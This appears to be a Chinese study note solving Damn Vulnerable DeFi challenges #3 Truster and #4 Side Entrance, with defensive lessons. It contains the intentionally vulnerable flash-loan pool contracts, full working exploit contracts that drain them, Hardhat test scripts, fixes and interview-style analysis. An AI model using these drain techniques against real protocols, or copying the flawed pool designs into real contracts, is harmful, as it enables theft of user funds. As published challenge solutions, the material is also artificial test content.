DVDF #3 Truster + #4 Side Entrance
### 1. Composability(可组合性)作为攻击面
日期: 2026-06-20 方向: Solidity / Security 阶段: 第三阶段:安全审计 标签: #damn-vulnerable-defi #flash-loan #truster #side-entrance #composability-attack
今日目标
| 类型 | 内容 |
|---|---|
| 学习 | 深入理解DVDF #3 Truster(回调函数中的approve攻击)和 #4 Side Entrance(利用flash loan绕过内部记账) |
| 实操 | 编写两道题的完整exploit代码,分析攻击策略 |
| 产出 | 两个exploit + composability作为攻击面的深度分析 |
核心概念
1. Composability(可组合性)作为攻击面
DeFi最强大的特性之一是可组合性——协议之间可以像乐高积木一样自由组合。但这也创造了巨大的攻击面:
正面:用户可以在一个交易中完成 Borrow → Swap → Stake → Repay
负面:攻击者可以在一个交易中完成 Flash Loan → Manipulate → Exploit → Repay
今天的两道DVDF题目完美展示了这一点:
- Truster (#3):闪电贷合约允许借款者执行任意外部调用(callback),攻击者利用这个callback来approve自己
- Side Entrance (#4):闪电贷合约的deposit函数不区分"自有资金"和"借来的资金",攻击者用借来的钱deposit,然后withdraw
两者的共同主题是:当协议的不同功能被组合使用时,原本安全的逻辑可能被绕过。
2. Flash Loan回顾
Flash Loan(闪电贷)允许用户在同一交易内借出任意金额,只要在交易结束时归还。如果未归还,整个交易回滚。
一个正常的Flash Loan交易:
1. 用户调用 flashLoan(amount)
2. 合约将 amount 发送给用户
3. 合约调用用户的回调函数
4. 用户在回调中做任何事(套利、清算等)
5. 合约检查余额是否恢复
6. 如果余额不足 → revert
7. 如果余额足够 → 交易成功
关键:步骤3中"用户可以做任何事"是攻击的核心入口
DVDF #3: Truster
题目分析
合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "../DamnValuableToken.sol";
/**
* @title TrusterLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract TrusterLenderPool is ReentrancyGuard {
using Address for address;
DamnValuableToken public immutable token;
error RepayFailed();
constructor(DamnValuableToken _token) {
token = _token;
}
function flashLoan(
uint256 amount,
address borrower,
address target,
bytes calldata data
) external nonReentrant returns (bool) {
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(borrower, amount);
target.functionCall(data);
if (token.balanceOf(address(this)) < balanceBefore)
revert RepayFailed();
return true;
}
}
漏洞分析
关键问题在 flashLoan 函数中的这一行:
target.functionCall(data);
这里 target 和 data 都是用户可控的。攻击者可以指定任意地址和任意calldata来执行。特别是,攻击者可以让Pool以自己的身份调用任意合约的任意函数。
由于 target.functionCall(data) 的 msg.sender 是 Pool 合约本身,攻击者可以让Pool调用Token合约的 approve 函数,将Pool的所有Token授权给攻击者。
攻击步骤:
1. 调用 flashLoan(0, attacker, tokenAddress, approve(attacker, type(uint256).max))
- amount = 0(不需要实际借款,因为我们的目的不是借款)
- borrower = attacker(无关紧要)
- target = token合约地址
- data = abi.encodeWithSignature("approve(address,uint256)", attacker, MAX_UINT256)
2. Pool执行 token.transfer(borrower, 0) — 转0个Token,无影响
3. Pool执行 target.functionCall(data) — 即Pool调用 token.approve(attacker, MAX)
- 此时 msg.sender 是 Pool,所以Pool授权了attacker无限额度
4. Pool检查余额 — 余额没变(因为只借了0),检查通过
5. 攻击者现在拥有对Pool所有Token的approve权限
6. 攻击者调用 token.transferFrom(pool, attacker, pool的全部余额)
Exploit代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../DamnValuableToken.sol";
import "./TrusterLenderPool.sol";
/**
* @title TrusterExploit
* @notice Exploits the TrusterLenderPool by using the arbitrary function call
* to approve the attacker for all pool tokens.
*/
contract TrusterExploit {
TrusterLenderPool public immutable pool;
DamnValuableToken public immutable token;
address public immutable attacker;
constructor(
TrusterLenderPool _pool,
DamnValuableToken _token,
address _attacker
) {
pool = _pool;
token = _token;
attacker = _attacker;
}
function attack() external {
// Step 1: 构造approve调用数据
// 让Pool以自己的身份调用 token.approve(address(this), MAX)
bytes memory data = abi.encodeWithSignature(
"approve(address,uint256)",
address(this), // 授权给本合约
type(uint256).max // 无限额度
);
// Step 2: 调用flashLoan,amount=0
// target = token合约,data = approve调用
pool.flashLoan(
0, // 借0个Token
address(this), // borrower(无关紧要)
address(token), // target = Token合约
data // data = approve(this, MAX)
);
// Step 3: 此时Pool已经approve了本合约
// 直接transferFrom转走所有Token
uint256 poolBalance = token.balanceOf(address(pool));
token.transferFrom(address(pool), attacker, poolBalance);
}
}
更精简的版本(一个交易完成所有操作):
contract TrusterExploitSimple {
function attack(
TrusterLenderPool pool,
DamnValuableToken token
) external {
// 让Pool approve msg.sender
pool.flashLoan(
0,
msg.sender,
address(token),
abi.encodeWithSignature(
"approve(address,uint256)",
msg.sender,
type(uint256).max
)
);
// 转走所有Token
token.transferFrom(
address(pool),
msg.sender,
token.balanceOf(address(pool))
);
}
}
测试代码
// test/truster.challenge.js (Hardhat)
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Truster Challenge", function () {
let deployer, player;
let token, pool;
const TOKENS_IN_POOL = ethers.parseEther("1000000");
before(async function () {
[deployer, player] = await ethers.getSigners();
// Deploy token and pool
token = await (await ethers.getContractFactory("DamnValuableToken")).deploy();
pool = await (await ethers.getContractFactory("TrusterLenderPool")).deploy(token.target);
// Fund pool
await token.transfer(pool.target, TOKENS_IN_POOL);
expect(await token.balanceOf(pool.target)).to.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(player.address)).to.equal(0);
});
it("Execution", async function () {
// Deploy exploit
const exploit = await (await ethers.getContractFactory("TrusterExploitSimple"))
.connect(player)
.deploy();
// Execute attack
await exploit.connect(player).attack(pool.target, token.target);
});
after(async function () {
// Verify: player has all tokens
expect(await token.balanceOf(player.address)).to.equal(TOKENS_IN_POOL);
expect(await token.balanceOf(pool.target)).to.equal(0);
});
});
修复建议
// 方案1: 移除任意调用能力,改为标准回调接口
interface IFlashLoanReceiver {
function onFlashLoan(
address initiator,
uint256 amount,
uint256 fee
) external returns (bytes32);
}
function flashLoan(uint256 amount) external nonReentrant {
uint256 balanceBefore = token.balanceOf(address(this));
token.transfer(msg.sender, amount);
// 只调用borrower自己的回调,不允许指定任意target
require(
IFlashLoanReceiver(msg.sender).onFlashLoan(
msg.sender, amount, 0
) == keccak256("ERC3156FlashBorrower.onFlashLoan"),
"Invalid callback return"
);
require(token.balanceOf(address(this)) >= balanceBefore, "Repay failed");
}
// 方案2: 如果必须保留target参数,至少限制不能调用token合约
function flashLoan(uint256 amount, address target, bytes calldata data) external {
require(target != address(token), "Cannot call token contract");
// ...
}
DVDF #4: Side Entrance
题目分析
合约代码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "solady/src/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
mapping(address => uint256) private balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
SafeTransferLib.safeTransferETH(msg.sender, amount);
emit Withdraw(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
}
漏洞分析
这道题的核心漏洞在于内部记账和余额检查的不一致。
flashLoan 函数检查的是合约的ETH余额:
if (address(this).balance < balanceBefore) // 检查ETH总余额
但 deposit 函数增加的是内部mapping:
balances[msg.sender] += msg.value; // 增加内部记账
攻击者可以:
- 借出所有ETH(通过flashLoan)
- 在回调中,将借来的ETH通过
deposit()存回Pool deposit会增加攻击者的balances记录- Pool检查
address(this).balance >= balanceBefore—— 通过!(因为ETH确实回来了) - 但现在攻击者的
balances中有了"合法"的存款记录 - 攻击者调用
withdraw()把所有ETH取走
初始状态:
Pool ETH balance = 1000 ETH
balances[attacker] = 0
Step 1: flashLoan(1000 ETH)
Pool发送1000 ETH给attacker
Pool ETH balance = 0
Step 2: attacker在execute()回调中调用deposit{value: 1000 ETH}()
ETH回到Pool
Pool ETH balance = 1000 ETH
balances[attacker] = 1000 ETH ← 关键!
Step 3: flashLoan检查 address(this).balance >= balanceBefore
1000 >= 1000 ✓ 通过!
Step 4: attacker调用withdraw()
Pool发送1000 ETH给attacker
balances[attacker] = 0
Pool ETH balance = 0
结果:攻击者无成本获得了Pool的所有ETH
Exploit代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./SideEntranceLenderPool.sol";
/**
* @title SideEntranceExploit
* @notice Exploits the Side Entrance pool by depositing flash-loaned ETH
* back into the pool during the callback, then withdrawing it.
*
* The key insight: the flash loan checks address(this).balance,
* but deposit() credits balances[msg.sender]. By depositing the
* borrowed ETH, we satisfy the balance check while creating a
* legitimate withdrawal claim.
*/
contract SideEntranceExploit is IFlashLoanEtherReceiver {
SideEntranceLenderPool public immutable pool;
address public immutable attacker;
constructor(SideEntranceLenderPool _pool, address _attacker) {
pool = _pool;
attacker = _attacker;
}
/// @notice Initiate the attack
function attack() external {
// Step 1: Flash loan所有ETH
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
// Step 3 (在execute回调后): 取出所有"存款"
pool.withdraw();
// Step 4: 将ETH发送给attacker
(bool success, ) = attacker.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
/// @notice Flash loan回调
function execute() external payable override {
// Step 2: 将借来的ETH通过deposit存回Pool
// 这样Pool的ETH余额恢复了(满足flashLoan的检查)
// 同时我们在balances mapping中获得了存款记录
pool.deposit{value: msg.value}();
}
/// @notice 接收ETH
receive() external payable {}
}
测试代码
// test/side-entrance.challenge.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Side Entrance Challenge", function () {
let deployer, player;
let pool;
const ETHER_IN_POOL = 1000n * 10n ** 18n;
const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 18n;
before(async function () {
[deployer, player] = await ethers.getSigners();
// Deploy pool and fund it
pool = await (await ethers.getContractFactory("SideEntranceLenderPool"))
.deploy();
await pool.deposit({ value: ETHER_IN_POOL });
expect(await ethers.provider.getBalance(pool.target)).to.equal(ETHER_IN_POOL);
});
it("Execution", async function () {
// Deploy exploit contract
const exploit = await (await ethers.getContractFactory("SideEntranceExploit"))
.connect(player)
.deploy(pool.target, player.address);
// Execute attack
await exploit.connect(player).attack();
});
after(async function () {
// Verify: pool is drained
expect(await ethers.provider.getBalance(pool.target)).to.equal(0);
// Verify: player has the ETH
expect(await ethers.provider.getBalance(player.address)).to.be.gt(
ETHER_IN_POOL + PLAYER_INITIAL_ETH_BALANCE - ethers.parseEther("0.2") // gas tolerance
);
});
});
修复建议
// 方案1: 在flashLoan期间禁止deposit
bool private _flashLoanActive;
function deposit() external payable {
require(!_flashLoanActive, "Cannot deposit during flash loan");
balances[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
_flashLoanActive = true;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
_flashLoanActive = false;
if (address(this).balance < balanceBefore)
revert RepayFailed();
}
// 方案2: 使用内部记账而非ETH余额做检查
function flashLoan(uint256 amount) external {
uint256 totalDepositsBefore = totalDeposits; // 内部追踪的总存款
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 检查内部记账没有因为deposit增加
// 同时检查ETH余额
require(
address(this).balance >= totalDepositsBefore + amount &&
totalDeposits == totalDepositsBefore,
"Repay failed"
);
}
// 方案3: flash loan前后的余额差必须通过直接transfer补回
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
uint256 depositsBefore = totalDeposits;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
// 余额恢复但存款记录不应增加
require(address(this).balance >= balanceBefore, "Balance not restored");
require(totalDeposits == depositsBefore, "No deposits during flash loan");
}
深度分析:Composability作为攻击面
为什么这两个漏洞本质相同
Truster和Side Entrance看起来不同,但攻击的根本原因是一样的:合约在执行外部回调时,没有正确约束回调可以做什么。
Truster:
- 合约允许借款者指定任意target和data
- 借款者让合约以自己的身份执行了approve
- 合约没有意识到它刚刚授权了自己的资金
Side Entrance:
- 合约允许借款者在回调中执行任何操作(包括调用合约自身的deposit)
- 借款者将借来的资金deposit回去
- 合约没有意识到"还款"和"存款"用的是同一笔钱
两者的共同模式:回调中的操作改变了合约的状态,但合约的安全检查没有考虑到这种状态变化。
Composability攻击的通用模式
1. 调用目标协议的某个功能(如flash loan)
2. 在回调/中间状态中,调用同一协议或其他协议的功能
3. 中间调用改变了某些状态/余额
4. 原始功能的安全检查无法检测到这种状态变化
5. 攻击者从不一致的状态中获利
防御composability攻击的设计原则
| 原则 | 说明 | 示例 |
|---|---|---|
| 最小权限回调 | 回调只允许做必要的事 | 不允许指定任意target |
| 内部一致性检查 | 检查内部状态变化,而非仅外部余额 | 检查totalDeposits没有变化 |
| 互斥锁 | 在敏感操作期间禁止其他操作 | flash loan期间禁止deposit |
| 快照对比 | 记录操作前后的完整状态快照 | 比较所有相关mapping的变化 |
| 分离关注点 | 还款机制和存款机制使用不同路径 | flash loan还款通过专用repay函数 |
关键要点总结
Truster (#3) 的教训
- 永远不要允许任意外部调用:
target.functionCall(data)中如果target和data都用户可控,等于给了用户以合约身份执行任何操作的能力 - Flash loan回调应使用标准接口:ERC-3156定义了标准的flash loan回调接口,限制了回调的灵活性但提高了安全性
- approve是隐性的资金转移:approve不直接转移资金,但效果等同于给了对方取款权
Side Entrance (#4) 的教训
- 余额检查 != 安全:仅检查ETH余额(
address(this).balance)不足以保证安全,因为"归还"的方式可能不是直接转账 - 内部记账和外部余额要一致:当合约同时使用内部mapping和外部余额时,要确保两者的一致性不被破坏
- Flash loan期间的合约状态是危险的:在flash loan的回调执行期间,合约处于一个"中间状态",不应允许任何可能利用这个中间状态的操作
通用教训
- 想清楚回调能做什么:每当合约将控制权交给外部代码(回调、delegate call、external call),都要想清楚外部代码可能做什么,以及它做了那些事之后合约的安全假设是否仍然成立
- "没有直接资金损失"不等于"安全":Truster中amount=0看起来无害,但通过approve间接获得了资金控制权
- 组合漏洞比单点漏洞更常见:现实中的DeFi攻击很少是单个函数的bug,更多是多个函数/协议组合使用时产生的问题
常见误区
误区1:"Flash loan只要检查了余额恢复就是安全的"
Side Entrance完美地反驳了这一点。余额可能通过非预期的路径(如deposit)恢复,但内部状态已经被改变了。安全的flash loan需要检查:(1) 外部余额恢复 (2) 内部状态没有被非预期地修改。
误区2:"borrower不能用借来的钱做任何危险的事,因为要归还"
这是对flash loan最大的误解。借来的资金在回调期间是真实的——可以用来投票、提供流动性、操纵价格、触发清算。只要在交易结束时归还即可。"临时拥有大量资金"本身就是一种攻击能力。
误区3:"amount=0的flash loan是无害的"
Truster中,攻击者借0个Token。在传统思维中,借0个Token不应该有任何影响。但问题不在于借款本身,而在于借款过程中发生的事(任意函数调用)。永远不要假设参数为0就是安全的——检查函数在参数为0时的完整执行路径。
误区4:"nonReentrant可以防止所有callback攻击"
Truster确实使用了 nonReentrant,但它防止的是重入同一个函数。它无法防止在回调中调用其他合约(如Token的approve)。nonReentrant 是必要的但不充分的安全措施。
面试关联
Q1: "解释Flash Loan的安全风险"
简短回答: Flash Loan允许攻击者在单个交易中获得任意大的资金。核心风险不是借款本身(因为必须归还),而是在回调过程中,攻击者可以用借来的资金操纵价格、投票权重或其他依赖余额/供应量的系统。
详细回答: 两个主要的攻击向量:(1) 回调中的权限操作——如Truster中利用任意调用能力approve自己,这不需要归还任何资金;(2) 绕过记账逻辑——如Side Entrance中将借来的资金deposit回去,满足余额检查但创造了虚假的存款记录。防御方式包括:限制回调的能力(标准化接口)、在flash loan期间锁定状态修改、检查内部记账而非仅外部余额。
Q2: "DeFi的可组合性如何导致安全问题?"
回答: 可组合性意味着协议A的功能可以被协议B调用,两个单独安全的协议组合后可能产生漏洞。典型场景:协议A的flash loan + 协议B的价格oracle = 价格操纵攻击。设计时需要考虑"如果我的合约被从另一个合约调用"的场景,特别是在callback期间的状态一致性。
Q3: "作为产品经理,你如何看待Flash Loan这个功能?"
回答: Flash Loan是DeFi最具创新性也最具争议性的功能。从产品角度,它降低了套利和清算的门槛(无需本金),提高了市场效率。但它也大幅降低了攻击的经济门槛(攻击者无需持有大量资金)。作为PM,我会在以下场景支持flash loan:套利、清算、一键去杠杆等用户导向的功能。但必须确保协议自身的安全逻辑不依赖"攻击者需要大量资金"这个假设——因为flash loan消除了这个前提。
参考资源
| 资源 | 说明 |
|---|---|
| DVDF官方 | 完整题目和测试环境 |
| ERC-3156: Flash Loans | Flash Loan标准接口 |
| Flash Loan Attack Compendium | Immunefi上的真实Flash Loan攻击案例 |
| Aave Flash Loan文档 | 生产级Flash Loan实现 |
| Composability is the Attack Surface | Immunefi关于组合性攻击的分析 |
| Solidity by Example: Reentrancy | 相关攻击模式 |